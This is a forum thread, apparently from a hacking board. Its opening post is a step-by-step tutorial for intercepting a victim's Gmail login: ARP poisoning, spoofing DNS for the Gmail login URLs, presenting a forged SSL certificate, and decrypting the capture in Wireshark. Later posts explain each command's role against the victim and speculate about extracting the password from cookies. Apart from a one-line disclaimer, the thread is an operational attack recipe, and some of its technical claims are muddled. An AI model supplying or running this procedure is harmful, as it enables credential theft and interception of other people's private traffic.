Results 1 to 9 of 9

Thread: SSL Spoof Using Wireshark to Decode SSL Packets

  1. #1
    Junior Member
    Join Date
    Oct 2008
    Posts
    32

    Cool SSL Spoof Using Wireshark to Decode SSL Packets

    SSL Attack Using Wireshark to Decode SSL Packets
    =======================================

    (Note: This tutorial is for the sole purpose of demonstrating lawful pentesting.
    It should not to be used for any illegal purpose and the author absolutely repudiates
    such acts or intents.)

    1. Preconditions. Attacker: Ubuntu Hardy, Linux 2.26.24 kernel, Atheros
    chipset on a fast machine. Victim: Slackware 11, Alfa modem on a
    slow machine. DSL router (2WIRE) of the type common out here.
    Software: arp-sk, dsniff suite, and trusty ol' Wireshark ...

    2. Commands on attacker box are as follows with each command followed by
    pertinent comments.

    echo 1 > /proc/sys/net/ipv4/ip_forward
    arp-sk -w -i ath0 -d 10.0.1.46 -S 10.0.0.1 -D 10.0.0.47 -T 1

    (Notes: I use arp-sk because I found it easier to use than either ettercap's
    spoofer or arpspoof. What ettercap is doing most of the time
    is a mystery to me so I have pretty much abandoned it. And arpspoof
    does not have timing controls like arp-sk. I enthusiastically
    recommend arp-sk which can be downloaded from
    http://sid.rstack.org/arp-sk. It's sort of old but have ARP
    packets changed that much? The choice of packet, target, source and
    time interval are all easily specified in one line. Intervals
    can be as tight as a few micro-secs. It has a lot of other options,
    too, which I haven't had time to explore yet.

    The point is that, while DSL routers only polls each client about
    once every 28 secs, a lot of pkts can be lost in one second.
    If you have the CPU speed, probably a half-second would be better.
    (Use u 500000, following the -T option, to specify fractional
    timing.) Of course, you may wish to experiment with this value.
    I used a continuously looping shell script on my Target box,
    displaying the arp cache repeatedly, and didn't see any missed
    assignments but how can you be sure ... ?

    dnsspoof -i ath0 -f /etc/dnsspoof.conf

    (Notes: The configuration file contained the urls for gmail log-in,
    assigning them, of course, to the attacker's box.)

    webmitm -dd

    (Notes: The certificate will either be prompted for, or should previously
    exist as webmitm.crt. Certificate design is a whole different
    topic and not to be taken lightly.)

    wireshark

    (Notes: Start capturing on your interface. Probably best to apply
    an ssl display filter here if this is all you are interested
    in evaluating.)

    Now you can sit back and wait until your target logs into his account.
    Then use wireshark to decrypt the packets. This is done as follows:

    1. filter only ssl packets (per above).
    2. save the ssl encrypted packets to a file, e.g. gmail.cap.
    3. in wireshark, goto edit, preferences, Protocols, SSL.
    4. Make sure both reassemble checkboxes are checked.
    5. In RSA keys list box, specify attacker's io.p., 443, http, and
    the location of the cert, e.g. 10.0.1.77, 443, http, /home/whistler/
    webmitm.key
    6. In SSL debug file, specify your output path/filename.

    That's is ... the data, decrypted by webmitm's certificate, will be
    written to your output file. The only provisos are:

    1) If the target has never logged into gmail before, he may be
    presented with Google's cert along with yours. This could cause some
    real confusion. He he.

    2) You MUST remove the public key before Wireshark will process your
    packets. I do this and then rename webmitm's cert to .key so I
    know the data has been removed.

    You can view the output which was generated using this method at:

    http://75.16.81.209/decssl.txt

    Note that I used a Google mail box which once belonged to me and is now
    defunct. The username, which is mrmagoo37, is easily found.

    Now, can anyone tell me how to identify the password?

  2. #2

    Default

    2) You MUST remove the public key before Wireshark will process your
    packets. I do this and then rename webmitm's cert to .key so I
    know the data has been removed.
    If followed everything you were talking about until this point.

    What do you mean by "remove the public key"?

    As to your question about the password, I would venture to guess that it is contained within the cookie. See if you can find some info about what gmail writes to it's cookie file and how it hashes passwords.

  3. #3
    Junior Member
    Join Date
    Oct 2008
    Posts
    32

    Default ok

    cyber,

    when webmitm generates a cert for the first time, there are TWO sections: (1) the first section which begins with the text "RSA Private Key", and ends with the text "END RSA PRIVATE KEY". The seconds section, which begins with "BEGIN CERTIFICATE" is what I believe to be the public key. This entire section must be deleted before WS will process the file as key.

    well the cookies are distributed by the server, no? so why would the password be stored in the cookie? i believe it may be in the characters immediately following the user name which means it's encrypted again but i can't figure out why they would double encrypt things then? but ill keep looking for this and let u know if i find it.




    Quote Originally Posted by cybrsnpr View Post
    If followed everything you were talking about until this point.

    What do you mean by "remove the public key"?

    As to your question about the password, I would venture to guess that it is contained within the cookie. See if you can find some info about what gmail writes to it's cookie file and how it hashes passwords.

  4. #4

    Default

    well the cookies are distributed by the server, no? so why would the password be stored in the cookie? i believe it may be in the characters immediately following the user name which means it's encrypted again but i can't figure out why they would double encrypt things then? but ill keep looking for this and let u know if i find it.
    The password could be stored in the cookie so that the next time the user wants to log in, the information is already on their system. Yahoo does something similar when you check the "remember me" box (or some similar name).

    Here is a LINK on gmail and vulnerable cookies (although I assume this problem has been fixed)

    As for "double encrypt". Probably to keep passwords safe from sniffers!

  5. #5
    Junior Member
    Join Date
    Dec 2007
    Posts
    28

    Default

    This tutorial is very concise, and I appreciate you taking the time to share the know-how, but....could you perhaps bung some explanation into those steps?

    No point blindly typing in commands if you've no idea what they do
    [u]HTML Lesson #43[/u]
    [u]The acceptable use of the <blink> tag[/u]

    Schrödinger's cat is <blink>not</blink> dead!

  6. #6
    Junior Member
    Join Date
    Oct 2008
    Posts
    32

    Default Steps Explained?

    ENABLES PACKETS TO BE FORWARDED FROM YOU TO VICTIM/ROUTER:

    echo 1 > /proc/sys/net/ipv4/ip_forward

    GENERATES CONTINUOUS ARP PACKETS SO VICTIM WILL THINK YOU ARE
    THE ROUTER (NOTE:
    THIS IS ONE-WAY ONLY AS YOU DON'T NEED TO TRAP ROUTER'S
    RESPONSES IN THIS SCHEME. ):

    arp-sk -w -i ath0 -d 10.0.1.46 -S 10.0.0.1 -D 10.0.0.47 -T 1

    SPOOFS DNS REQUESTS FROM VICTIM FOR THE SSL SITES YOU ARE
    TRAPPING SO HIS BROWSER WILL NOW BE ABLE TO XMIT http/SSL TO
    YOU:

    dnsspoof -i ath0 -f /etc/dnsspoof.conf

    GENERATES A FULL SSL CERTIFICATE WHICH THE VICTIM'S BROWSER
    WILL PROMPT HIM TO ACCEPT:

    webmitm -dd

    CAPTURES ALL PACKETS ON NETWORK. (FOR AN EXPLANATION OF HOW/WHY, I SUGGEST YOU READ THE MANUAL AT wireshark.org):

    wireshark





    Quote Originally Posted by [NIL] View Post
    This tutorial is very concise, and I appreciate you taking the time to share the know-how, but....could you perhaps bung some explanation into those steps?

    No point blindly typing in commands if you've no idea what they do

  7. #7
    Good friend of the forums
    Join Date
    Jun 2008
    Posts
    425

    Default

    well the cookies are distributed by the server, no? so why would the password be stored in the cookie? i believe it may be in the characters immediately following the user name which means it's encrypted again but i can't figure out why they would double encrypt things then? but ill keep looking for this and let u know if i find it.
    Thanks for the tut. I had a try at this, and read the ssl packet, but couldn't read the password.
    I noticed the username start with username%22 or username%2d for gmail.com and looking up abit further it had auth%22 or %2d. I'm guessing the string from %22 to the var username%22 would be the password.
    I try copy/pasting into a file and used openssl and bits of data from the ssl packets to see if that was the key. No luck.

    Do you think this might be a way?

  8. #8
    Junior Member
    Join Date
    Oct 2008
    Posts
    32

    Default

    ok. i'll try & get back to u on this a little later. Right now I'm all wrapped up in Web Application Hacker's Handbook ... awesome.


    Quote Originally Posted by compaq View Post
    Thanks for the tut. I had a try at this, and read the ssl packet, but couldn't read the password.
    I noticed the username start with username%22 or username%2d for gmail.com and looking up abit further it had auth%22 or %2d. I'm guessing the string from %22 to the var username%22 would be the password.
    I try copy/pasting into a file and used openssl and bits of data from the ssl packets to see if that was the key. No luck.

    Do you think this might be a way?

  9. #9
    Just burned his ISO
    Join Date
    Feb 2008
    Posts
    13

    Default

    can you publish the name of the book for everyone? that could be great

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •